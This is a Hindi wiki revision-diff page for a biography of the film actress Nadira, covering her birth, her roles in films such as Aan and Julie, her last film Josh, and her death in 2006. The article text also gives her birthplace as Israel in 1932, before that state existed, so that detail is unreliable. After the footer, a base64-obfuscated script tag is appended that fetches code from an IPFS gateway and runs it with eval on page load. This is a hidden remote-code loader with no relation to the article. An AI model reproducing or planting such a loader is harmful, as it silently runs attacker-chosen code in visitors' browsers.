"नादिरा": अवतरणों में अंतर
No edit summary |
No edit summary |
||
पंक्ति 6: | पंक्ति 6: | ||
|प्रसिद्ध नाम=नादिरा | |प्रसिद्ध नाम=नादिरा | ||
|अन्य नाम= | |अन्य नाम= | ||
|जन्म= [[5 दिसंबर]], 1932 | |जन्म= [[5 दिसंबर]], [[1932]] | ||
|जन्म भूमि=इज़राइल | |जन्म भूमि=इज़राइल | ||
|अविभावक= | |अविभावक= | ||
पंक्ति 13: | पंक्ति 13: | ||
|कर्म भूमि= [[मुंबई]] | |कर्म भूमि= [[मुंबई]] | ||
|कर्म-क्षेत्र=अभिनेत्नी | |कर्म-क्षेत्र=अभिनेत्नी | ||
|मृत्यु=[[9 फ़रवरी]], 2006 | |मृत्यु=[[9 फ़रवरी]], [[2006]] | ||
|मृत्यु स्थान=[[मुंबई]] | |मृत्यु स्थान=[[मुंबई]] | ||
|मुख्य रचनाएँ= | |मुख्य रचनाएँ= | ||
पंक्ति 34: | पंक्ति 34: | ||
}} | }} | ||
'''नादिरा''' अथवा '''फ़रहत एज़ेकेल नादिरा''' ([[अंग्रेज़ी भाषा|अंग्रेज़ी]]: ''Nadira'' अथवा ''Farhat Ezekiel Nadira'') (जन्म: [[5 दिसंबर]], [[1932]]; मृत्यु: [[9 फ़रवरी]], [[2006]]) [[हिन्दी]] फ़िल्मों की ख्यातिप्राप्त और सुन्दर अभिनेत्रियों में से एक थीं। फ़िल्मी परदे पर नादिरा आत्मविश्वास से भरपूर नजर आती थीं। वे अपने किरदार में पूरी तरह से समा जाती थीं। साठ से भी अधिक फिल्मों में अपने बेजोड़ अभिनय की छाप छोडऩे वालीं नादिरा [[दिलीप कुमार]], [[राजकपूर]], [[मीना कुमारी]], [[राजकुमार]] और [[अमिताभ बच्चन]] आदि अनेक कलाकारों की फिल्मों में सिर्फ सहायक ही नहीं, बल्कि विशिष्ट भी बन जाती थीं। अभिनेत्नी नादिरा अपने समय से कहीं आगे थीं। लाजवाब ख़ूबसूरती और शाहाना अंदाज की शख़्सियत रखने के बावजूद उन्होंने उस दौर में खलनायिका बनना पसंद किया था, जबकि अन्य नायिकाएँ इस तरह की भूमिकाएँ करने से घबराती थीं। | '''नादिरा''' अथवा '''फ़रहत एज़ेकेल नादिरा''' ([[अंग्रेज़ी भाषा|अंग्रेज़ी]]: ''Nadira'' अथवा ''Farhat Ezekiel Nadira'') (जन्म: [[5 दिसंबर]], [[1932]], इज़राइल; मृत्यु: [[9 फ़रवरी]], [[2006]]) [[हिन्दी]] फ़िल्मों की ख्यातिप्राप्त और सुन्दर अभिनेत्रियों में से एक थीं। फ़िल्मी परदे पर नादिरा आत्मविश्वास से भरपूर नजर आती थीं। वे अपने किरदार में पूरी तरह से समा जाती थीं। साठ से भी अधिक फिल्मों में अपने बेजोड़ अभिनय की छाप छोडऩे वालीं नादिरा [[दिलीप कुमार]], [[राजकपूर]], [[मीना कुमारी]], [[राजकुमार]] और [[अमिताभ बच्चन]] आदि अनेक कलाकारों की फिल्मों में सिर्फ सहायक ही नहीं, बल्कि विशिष्ट भी बन जाती थीं। अभिनेत्नी नादिरा अपने समय से कहीं आगे थीं। लाजवाब ख़ूबसूरती और शाहाना अंदाज की शख़्सियत रखने के बावजूद उन्होंने उस दौर में खलनायिका बनना पसंद किया था, जबकि अन्य नायिकाएँ इस तरह की भूमिकाएँ करने से घबराती थीं। | ||
==जीवन परिचय== | ==जीवन परिचय== | ||
====जन्म==== | ====जन्म==== |
08:08, 5 दिसम्बर 2012 का अवतरण
![]() |
एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- नादिरा (बहुविकल्पी) |
नादिरा
| |
पूरा नाम | फ़रहत एज़ेकेल नादिरा |
प्रसिद्ध नाम | नादिरा |
जन्म | 5 दिसंबर, 1932 |
जन्म भूमि | इज़राइल |
मृत्यु | 9 फ़रवरी, 2006 |
मृत्यु स्थान | मुंबई |
कर्म भूमि | मुंबई |
कर्म-क्षेत्र | अभिनेत्नी |
मुख्य फ़िल्में | आन, श्री 420, दिल अपना और प्रीत पराई , पाकीज़ा, जूली, सागर, तमन्ना, |
प्रसिद्धि | खलनायिका |
नागरिकता | भारतीय |
अंतिम फ़िल्म | जोश |
नादिरा अथवा फ़रहत एज़ेकेल नादिरा (अंग्रेज़ी: Nadira अथवा Farhat Ezekiel Nadira) (जन्म: 5 दिसंबर, 1932, इज़राइल; मृत्यु: 9 फ़रवरी, 2006) हिन्दी फ़िल्मों की ख्यातिप्राप्त और सुन्दर अभिनेत्रियों में से एक थीं। फ़िल्मी परदे पर नादिरा आत्मविश्वास से भरपूर नजर आती थीं। वे अपने किरदार में पूरी तरह से समा जाती थीं। साठ से भी अधिक फिल्मों में अपने बेजोड़ अभिनय की छाप छोडऩे वालीं नादिरा दिलीप कुमार, राजकपूर, मीना कुमारी, राजकुमार और अमिताभ बच्चन आदि अनेक कलाकारों की फिल्मों में सिर्फ सहायक ही नहीं, बल्कि विशिष्ट भी बन जाती थीं। अभिनेत्नी नादिरा अपने समय से कहीं आगे थीं। लाजवाब ख़ूबसूरती और शाहाना अंदाज की शख़्सियत रखने के बावजूद उन्होंने उस दौर में खलनायिका बनना पसंद किया था, जबकि अन्य नायिकाएँ इस तरह की भूमिकाएँ करने से घबराती थीं।
जीवन परिचय
जन्म
नादिरा का जन्म 5 दिसम्बर 1932 को इज़राइल में एक यहूदी परिवार में हुआ था।
फ़िल्मी सफ़र की शुरूवात
नादिरा ने अपने पांच दशक लंबे फ़िल्मी सफ़र में बहुत सी फ़िल्मों में काम किया, जिनमें उन्होंने नायिका, खलनायिका की भूमिका करने के साथ चरित्न भूमिकाएँ भी निभाईं। 1952 में महबूब ख़ान की आन से अपने फ़िल्मी सफ़र की शुरूवात की, जिसमें उन्होंने एक बिगडैल राजकुमारी की भूमिका निभाई।
प्रमुख फ़िल्में
- आन
- श्री 420
- दिल अपना और प्रीत पराई
- पाकीज़ा
- जूली
- सागर
- तमन्ना

अंतिम फ़िल्म
शाहरुख खान और ऐश्वर्या राय अभिनीत फ़िल्म, जोश नादिरा की अंतिम फ़िल्म थी। फ़िल्म जूली के लिए उन्हें सर्वश्रेष्ठ सहनायिका का फ़िल्मफेयर पुरस्कार मिला। इस फ़िल्म में उन्होंने नायिका जूली की माँ मार्गरेट का किरदार निभाया।
मृत्यु
जीवन के अंतिम तीन वर्षो में तो नादिरा ने खुद को घर में कैद सा कर लिया और जमकर शराब पीने लगीं, जिसकी वजह से नादिरा को कई तरह की बीमारियों ने घेर लिया। नादिरा मुम्बई के ताड़देव में अस्पताल में भर्ती कराया गया, जहाँ 9 फ़रवरी 2006 को 74 वर्ष की उम्र में उनका मृत्यु हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>